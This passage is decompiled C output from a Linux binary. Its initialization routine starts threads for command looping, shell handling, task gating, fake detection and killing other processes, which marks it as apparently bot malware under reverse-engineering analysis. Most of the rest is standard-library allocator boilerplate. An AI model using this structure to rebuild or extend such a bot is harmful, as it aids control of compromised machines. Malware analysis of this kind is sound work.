CManager__Initialize(int32_t * a1) { struct struct_14 * v1 = NULL; // bp-32 int32_t v2 = (int32_t)a1; // 0x8066c0d CThreadSignaledMessageList_lt_CCmdMsg_gt___Initialize(v2 + 12, 100); int32_t v3; int32_t v4 = _Znwj(56, 100, v3); // 0x8066c26 CThreadTaskGates_473((struct struct_3 *)v4, v2); int32_t * v5 = (int32_t *)(v2 + 228); // 0x8066c6c_0 *v5 = v4; int32_t v6 = *v5; // 0x8066c75 if (v6 == 0) { // 0x806703d return (int32_t)(int32_t *)v6; } // 0x8066c83 CThread__StartThread(*v5); int32_t v7; int32_t v8 = _Znwj(56, 0, v7); // 0x8066c9d CThreadClientStatus_425((struct struct_3 *)v8, v2); int32_t * v9 = (int32_t *)(v2 + 232); // 0x8066ce3_0 *v9 = v8; int32_t v10 = *v9; // 0x8066cec if (v10 == 0) { // 0x806703d return (int32_t)(int32_t *)v10; } // 0x8066cfa CThread__StartThread(*v9); CThreadSignaledMessageList_lt_CThreadConnection_gt___Initialize(v2 + 240, 100); int32_t v11; int32_t v12 = _Znwj(56, 100, v11); // 0x8066d2a CThreadRecycle_461((struct struct_3 *)v12, v2); int32_t * v13 = (int32_t *)(v2 + 236); // 0x8066d70_0 *v13 = v12; int32_t v14 = *v13; // 0x8066d79 if (v14 == 0) { // 0x806703d return (int32_t)(int32_t *)v14; } // 0x8066d87 CThread__StartThread(*v13); CCmdDoing__GetCmd(&v1->e0, g42); int32_t v15 = _Znwj(168, (int32_t)v1, g42); // 0x8066db8 CThreadLoopCmd_453((struct struct_3 *)v15, (int32_t)v1); int32_t * v16 = (int32_t *)(v2 + 456); // 0x8066df9_0 *v16 = v15; if (*v16 == 0) { // 0x806702e CLoopCmd_83(&v1->e0); // branch -> 0x806703d // 0x806703d return (int32_t)NULL; } // 0x8066e11 CThread__StartThread(*v16); int32_t v17 = _Znwj(180, (int32_t)v1, g42); // 0x8066e2e CThreadFakeDetect_441((struct struct_63 *)v17, v2); int32_t * v18 = (int32_t *)(v2 + 460); // 0x8066e6e_0 *v18 = v17; if (*v18 == 0) { // 0x806702e CLoopCmd_83(&v1->e0); // branch -> 0x806703d // 0x806703d return (int32_t)NULL; } // 0x8066e86 CThread__StartThread(*v18); CThreadSignaledMessageList_lt_CThreadShell_gt___Initialize(v2 + 464, 100); int32_t v19 = _Znwj(56, 100, g42); // 0x8066eb6 CThreadShellRecycle_469((struct struct_3 *)v19, v2); int32_t * v20 = (int32_t *)(v2 + 680); // 0x8066ef6_0 *v20 = v19; if (*v20 == 0) { // 0x806702e CLoopCmd_83(&v1->e0); // branch -> 0x806703d // 0x806703d return (int32_t)NULL; } // 0x8066f0e CThread__StartThread(*v20); int32_t v21 = _Znwj(52, v2, g42); // 0x8066f28 CThreadDoFun_437((int32_t *)v21); int32_t * v22 = (int32_t *)(v2 + 684); // 0x8066f65_0 *v22 = v21; if (*v22 == 0) { // 0x806702e CLoopCmd_83(&v1->e0); // branch -> 0x806703d // 0x806703d return (int32_t)NULL; } // 0x8066f7d CThread__StartThread(*v22); int32_t v23 = _Znwj(52, v2, g42); // 0x8066f97 CThreadKillChaos_449((int32_t *)v23); int32_t * v24 = (int32_t *)(v2 + 688); // 0x8066fd1_0 *v24 = v23; if (*v24 != 0) { // 0x8066fe6 CThread__StartThread(*v24); CManager__MainProcess(a1, a1); // branch -> 0x806702e } // 0x806702e CLoopCmd_83(&v1->e0); // branch -> 0x806703d // 0x806703d return (int32_t)NULL; } // Address range: 0x8067f42 - 0x8067fd9 int32_t CBillStatus_184(struct struct_42 * a1) { // 0x8067f42 CSerial_81(&a1->e0); a1->e0 = 0x80ff718; a1->e1 = 1; a1->e2 = 0; a1->e3 = 0; a1->e4 = 0; a1->e5 = 0; a1->e6 = 16; a1->e6 = 0; return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 28)); } // Address range: 0x8067fda - 0x806805f int32_t CCommonResponse_185(struct struct_43 * a1) { // 0x8067fda CSerial_81(&a1->e0); a1->e0 = 0x80ff738; CBillStatus_184((struct struct_42 *)((int32_t)a1 + 4)); *(char *)((int32_t)a1 + 36) = 1; *(char *)((int32_t)a1 + 37) = 1; *(int32_t *)((int32_t)a1 + 40) = 0; int32_t result = (int32_t)a1; // 0x8068027 *(int32_t *)(result + 44) = 0; *(int32_t *)(result + 48) = 0; return result; } // Address range: 0x80682b2 - 0x80682c9 int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_not__eq_(int32_t * a1, int32_t * a2) { int32_t v1 = *a2; // 0x80682bd return (((int32_t)(*a1 == v1) | v1 & -256) ^ 1) % 2; } // Address range: 0x80682ca - 0x80682d7 int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_ptr_(int32_t * a1) { // 0x80682ca return *a1 + 16; } // Address range: 0x80682d8 - 0x80682e3 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_begin(int32_t * a1) { // 0x80682d8 return *(int32_t *)((int32_t)a1 + 8); } // Address range: 0x80682e4 - 0x8068325 int32_t CThreadMessageList_lt_CCmdMsg_gt___Initialize(int32_t * a1, int32_t a2) { int32_t v1; CAutoLock_492((struct struct_68 *)&v1, (int32_t)a1 + 12, 1); *a1 = a2; CAutoLock_493((struct struct_68 *)&v1); return 1; } // Address range: 0x8068326 - 0x8068345 int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt___Initialize(int32_t a1, int32_t a2) { uint32_t v1 = CThreadMessageList_lt_CCmdMsg_gt___Initialize((int32_t *)(a1 + 36), a2); // 0x8068339 return v1 % 256; } // Address range: 0x8068346 - 0x8068387 int32_t CThreadMessageList_lt_CThreadConnection_gt___Initialize(int32_t * a1, int32_t a2) { int32_t v1; CAutoLock_492((struct struct_68 *)&v1, (int32_t)a1 + 12, 1); *a1 = a2; CAutoLock_493((struct struct_68 *)&v1); return 1; } // Address range: 0x8068388 - 0x80683a7 int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt___Initialize(int32_t a1, int32_t a2) { uint32_t v1 = CThreadMessageList_lt_CThreadConnection_gt___Initialize((int32_t *)(a1 + 36), a2); // 0x806839b return v1 % 256; } // Address range: 0x80683a8 - 0x80683e9 int32_t CThreadMessageList_lt_CThreadShell_gt___Initialize(int32_t * a1, int32_t a2) { int32_t v1; CAutoLock_492((struct struct_68 *)&v1, (int32_t)a1 + 12, 1); *a1 = a2; CAutoLock_493((struct struct_68 *)&v1); return 1; } // Address range: 0x80683ea - 0x8068409 int32_t CThreadSignaledMessageList_lt_CThreadShell_gt___Initialize(int32_t a1, int32_t a2) { uint32_t v1 = CThreadMessageList_lt_CThreadShell_gt___Initialize((int32_t *)(a1 + 36), a2); // 0x80683fd return v1 % 256; } // Address range: 0x806840a - 0x8068419 int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt_(int32_t * a1, int32_t * a2) { // 0x806840a g95 = (int32_t)a2; *a1 = *a2; return (int32_t)a1; } // Address range: 0x806841a - 0x8068433 int32_t std__pair_lt_std___Rb_tree_const_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3) { int32_t result = (int32_t)a1; // 0x8068422 *a1 = *a2; *(char *)(result + 4) = *a3; return result; } // Address range: 0x806846a - 0x806848d int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator__(int32_t * a1) { // 0x806846a *a1 = std___Rb_tree_increment_590(); return (int32_t)a1; } // Address range: 0x80685ac - 0x80685b1 void __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x80685ac return; } // Address range: 0x80685b2 - 0x80685c9 int32_t std__allocator_lt_void__ptr__gt_(int32_t result) { // 0x80685b2 __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x80685ca - 0x80685cf void __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x80685ca return; } // Address range: 0x8068600 - 0x8068617 int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__191(int32_t result) { // 0x8068600 __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x8068618 - 0x8068623 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_right(int32_t * a1) { // 0x8068618 return *(int32_t *)((int32_t)a1 + 12); } // Address range: 0x8068624 - 0x806862f int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_left(int32_t * a1) { // 0x8068624 return *(int32_t *)((int32_t)a1 + 8); } // Address range: 0x8068630 - 0x806863b int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(int32_t * a1) { // 0x8068630 return (int32_t)a1 + 4; } // Address range: 0x806863c - 0x8068643 int32_t std___Identity_lt_void__ptr__gt___operator_lb__rb_(int32_t a1) { // 0x806863c int32_t result; return result; } // Address range: 0x8068644 - 0x806865b int32_t std__less_lt_void__ptr__gt___operator_lb__rb_(int32_t * a1, int32_t * a2) { // 0x8068644 int32_t * v1; return *a2 < *v1; } // Address range: 0x806865c - 0x8068669 int32_t std___Rb_tree_iterator_lt_void__ptr__gt_(int32_t ** a1, int32_t * a2) { // 0x806865c *a1 = a2; return (int32_t)a1; } // Address range: 0x806866a - 0x806868d int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t * a2) { int32_t v1 = *(int32_t *)((int32_t)a2 + 12); // 0x8068677 std___Rb_tree_iterator_lt_void__ptr__gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x8068690 - 0x80686a7 int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator_eq__eq_(int32_t * a1, int32_t * a2) { // 0x8068690 return *a1 == *a2; } // Address range: 0x80686a8 - 0x80686c1 int32_t std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3) { int32_t result = (int32_t)a1; // 0x80686b0 *a1 = *a2; *(char *)(result + 4) = *a3; return result; } // Address range: 0x806877c - 0x8068789 int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt__192(int32_t * a1, int32_t a2) { // 0x806877c *a1 = a2; return (int32_t)a1; } // Address range: 0x806878a - 0x80687ad int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin_193(int32_t * a1, int32_t a2) { // 0x806878a std___Rb_tree_const_iterator_lt_void__ptr__gt__192(a1, *(int32_t *)(a2 + 12)); return (int32_t)a1; } // Address range: 0x80687b0 - 0x80687db int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t a2) { int32_t v1 = g98; // 0x80687b3 g98 = (int32_t)a1; int32_t ** v2; std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin_193((int32_t *)v2, a2); *(int32_t *)g98 = (int32_t)v2; int32_t result = g98; // 0x80687d2 g98 = v1; return result; } // Address range: 0x80687dc - 0x80687ff int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t * a1, int32_t a2) { // 0x80687dc std___Rb_tree_const_iterator_lt_void__ptr__gt__192(a1, a2 + 4); return (int32_t)a1; } // Address range: 0x8068802 - 0x806882d int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t ** a1, int32_t a2) { int32_t v1 = g98; // 0x8068805 g98 = (int32_t)a1; int32_t * v2; std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(v2, a2); *(int32_t *)g98 = (int32_t)v2; int32_t result = g98; // 0x8068824 g98 = v1; return result; } // Address range: 0x8068aae - 0x8068ac9 int32_t std__allocator_lt_CSubTask_gt__196(int32_t a1, int32_t a2) { // 0x8068aae __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(a1); return 0x8132c20; } // Address range: 0x8068aca - 0x8068b01 int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt____Vector_impl_197(struct struct_3 * a1, int32_t a2) { // 0x8068aca std__allocator_lt_CSubTask_gt__196((int32_t)a1, a2); a1->e0 = 0; a1->e1 = 0; int32_t result = (int32_t)a1; // 0x8068af8 *(int32_t *)(result + 8) = 0; return result; } // Address range: 0x8068b02 - 0x8068b1b int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__198(struct struct_6 * a1, int32_t a2) { // 0x8068b02 return std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt____Vector_impl_197((struct struct_3 *)a1, a2); } // Address range: 0x8068c16 - 0x8068c31 int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__205(int32_t a1) { // 0x8068c16 __gnu_cxx____mt_alloc_base_lt_CSubTask_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x8068c32 - 0x8068c49 int32_t std__allocator_lt_CSubTask_gt__206(int32_t a1) { // 0x8068c32 __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__205(a1); return 0x8132c20; } // Address range: 0x8068c4a - 0x8068c63 int32_t std__vector_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__207(struct struct_6 * a1, int32_t a2) { // 0x8068c4a return std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__198(a1, a2); } // Address range: 0x8068c64 - 0x8068ce9 int32_t CTask_208(struct struct_45 * a1) { struct struct_6 * v1 = NULL; // bp-5 CSerial_81(&a1->e0); a1->e0 = 0x80ff6b8; CCpuLimit_82((struct struct_13 *)((int32_t)a1 + 4)); *(int32_t *)((int32_t)a1 + 24) = 0; *(int32_t *)((int32_t)a1 + 28) = 0; *(int32_t *)((int32_t)a1 + 32) = 0; std__allocator_lt_CSubTask_gt__206((int32_t)v1); std__vector_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__207((struct struct_6 *)((int32_t)a1 + 36), (int32_t)v1); return std__allocator_lt_CSubTask_gt_((int32_t *)v1); } // Address range: 0x8068cea - 0x8068dc1 int32_t CInitResponse_209(struct struct_45 * a1) { // 0x8068cea CSerial_81(&a1->e0); a1->e0 = 0x80ff6f8; CConfig_94((struct struct_17 *)((int32_t)a1 + 4)); *(int32_t *)((int32_t)a1 + 96) = 0; *(int32_t *)((int32_t)a1 + 100) = 0; *(int32_t *)((int32_t)a1 + 104) = 0; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 108)); return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 112)); } // Address range: 0x8068ddc - 0x8068de1 void __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x8068ddc return; } // Address range: 0x8068de2 - 0x8068df9 int32_t std__allocator_lt_CCmdMsg__ptr__gt_(int32_t result) { // 0x8068de2 __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x8068dfa - 0x8068dff void __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x8068dfa return; } // Address range: 0x8068e00 - 0x8068e17 int32_t std__allocator_lt_CThreadConnection__ptr__gt_(int32_t result) { // 0x8068e00 __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x8068e18 - 0x8068e1d void __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x8068e18 return; } // Address range: 0x8068e1e - 0x8068e35 int32_t std__allocator_lt_CThreadShell__ptr__gt_(int32_t result) { // 0x8068e1e __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x8068e36 - 0x8068e3b void __gnu_cxx____mt_alloc_base_lt_void__ptr__gt_(void) { // 0x8068e36 return; } // Address range: 0x8068e3c - 0x8068e57 int32_t __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(int32_t a1) { // 0x8068e3c __gnu_cxx____mt_alloc_base_lt_void__ptr__gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x8068e58 - 0x8068e6f int32_t std__allocator_lt_void__ptr__gt__211(int32_t a1) { // 0x8068e58 __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(a1); return 0x8132c20; } // Address range: 0x8068e76 - 0x8068e81 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value(int32_t * a1) { // 0x8068e76 return (int32_t)a1 + 16; } // Address range: 0x8068e82 - 0x8068ea7 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key(int32_t * a1) { // 0x8068e82 std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value(a1); int32_t v1; return std___Identity_lt_void__ptr__gt___operator_lb__rb_(v1); } // Address range: 0x8068ea8 - 0x8068ecb int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator__(int32_t * a1) { int32_t v1 = *a1; // bp-28 int32_t v2; *a1 = std___Rb_tree_decrement((struct struct_94 *)&v1, v2, 0); return (int32_t)a1; } // Address range: 0x8068ecc - 0x8068ed7 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value_212(int32_t a1) { // 0x8068ecc g95 = a1; return a1 + 16; } // Address range: 0x8068ed8 - 0x8068efd int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213(int32_t a1) { // 0x8068ed8 std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value_212(a1); int32_t v1; return std___Identity_lt_void__ptr__gt___operator_lb__rb_(v1); } // Address range: 0x80693da - 0x80693df void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt_(void) { // 0x80693da return; } // Address range: 0x80693e0 - 0x80693fb int32_t __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(int32_t a1) { // 0x80693e0 __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x80693fc - 0x8069413 int32_t std__allocator_lt_CCmdMsg__ptr__gt__220(int32_t a1) { // 0x80693fc __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(a1); return 0x8132c20; } // Address range: 0x8069414 - 0x8069429 int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_init(int32_t ** a1) { int32_t result = (int32_t)a1; // 0x8069417 *a1 = (int32_t *)a1; *(int32_t *)(result + 4) = result; return result; } // Address range: 0x806942a - 0x806942f void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x806942a return; } // Address range: 0x8069430 - 0x8069447 int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(int32_t * a1) { // 0x8069430 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return (int32_t)a1; } // Address range: 0x8069448 - 0x806945f int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl(int32_t * a1) { // 0x8069448 g95 = (int32_t)a1; return std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(a1); } // Address range: 0x8069460 - 0x8069477 int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__221(int32_t result) { // 0x8069460 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x8069478 - 0x806947d void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy(void) { // 0x8069478 return; } // Address range: 0x806947e - 0x8069483 void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt_(void) { // 0x806947e return; } // Address range: 0x8069484 - 0x806949f int32_t __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(int32_t a1) { // 0x8069484 __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x80694a0 - 0x80694b7 int32_t std__allocator_lt_CThreadConnection__ptr__gt__223(int32_t a1) { // 0x80694a0 __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(a1); return 0x8132c20; } // Address range: 0x80694b8 - 0x80694cd int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_init(int32_t ** a1) { int32_t result = (int32_t)a1; // 0x80694bb *a1 = (int32_t *)a1; *(int32_t *)(result + 4) = result; return result; } // Address range: 0x80694ce - 0x80694d3 void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x80694ce return; } // Address range: 0x80694d4 - 0x80694eb int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(int32_t * a1) { // 0x80694d4 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return (int32_t)a1; } // Address range: 0x80694ec - 0x8069503 int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl(int32_t * a1) { // 0x80694ec g95 = (int32_t)a1; return std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(a1); } // Address range: 0x8069504 - 0x806951b int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__224(int32_t result) { // 0x8069504 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x806951c - 0x8069521 void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy(void) { // 0x806951c return; } // Address range: 0x8069522 - 0x8069527 void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt_(void) { // 0x8069522 return; } // Address range: 0x8069528 - 0x8069543 int32_t __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(int32_t a1) { // 0x8069528 __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x8069544 - 0x806955b int32_t std__allocator_lt_CThreadShell__ptr__gt__226(int32_t a1) { // 0x8069544 __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(a1); return 0x8132c20; } // Address range: 0x806955c - 0x8069571 int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_init(int32_t ** a1) { int32_t result = (int32_t)a1; // 0x806955f *a1 = (int32_t *)a1; *(int32_t *)(result + 4) = result; return result; } // Address range: 0x8069572 - 0x8069577 void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x8069572 return; } // Address range: 0x8069578 - 0x806958f int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(int32_t * a1) { // 0x8069578 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return (int32_t)a1; } // Address range: 0x8069590 - 0x80695a7 int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl(int32_t * a1) { // 0x8069590 g95 = (int32_t)a1; return std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(a1); } // Address range: 0x80695a8 - 0x80695bf int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__227(int32_t result) { // 0x80695a8 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x80695c0 - 0x80695c5 void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy(void) { // 0x80695c0 return; } // Address range: 0x80695c6 - 0x80695cb void __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_(void) { // 0x80695c6 return; } // Address range: 0x80695cc - 0x80695e7 int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__228(int32_t a1) { // 0x80695cc __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x80695e8 - 0x80695ff int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__229(int32_t a1) { // 0x80695e8 __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__228(a1); return 0x8132c20; } // Address range: 0x8069600 - 0x806961b int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__230(int32_t a1) { // 0x8069600 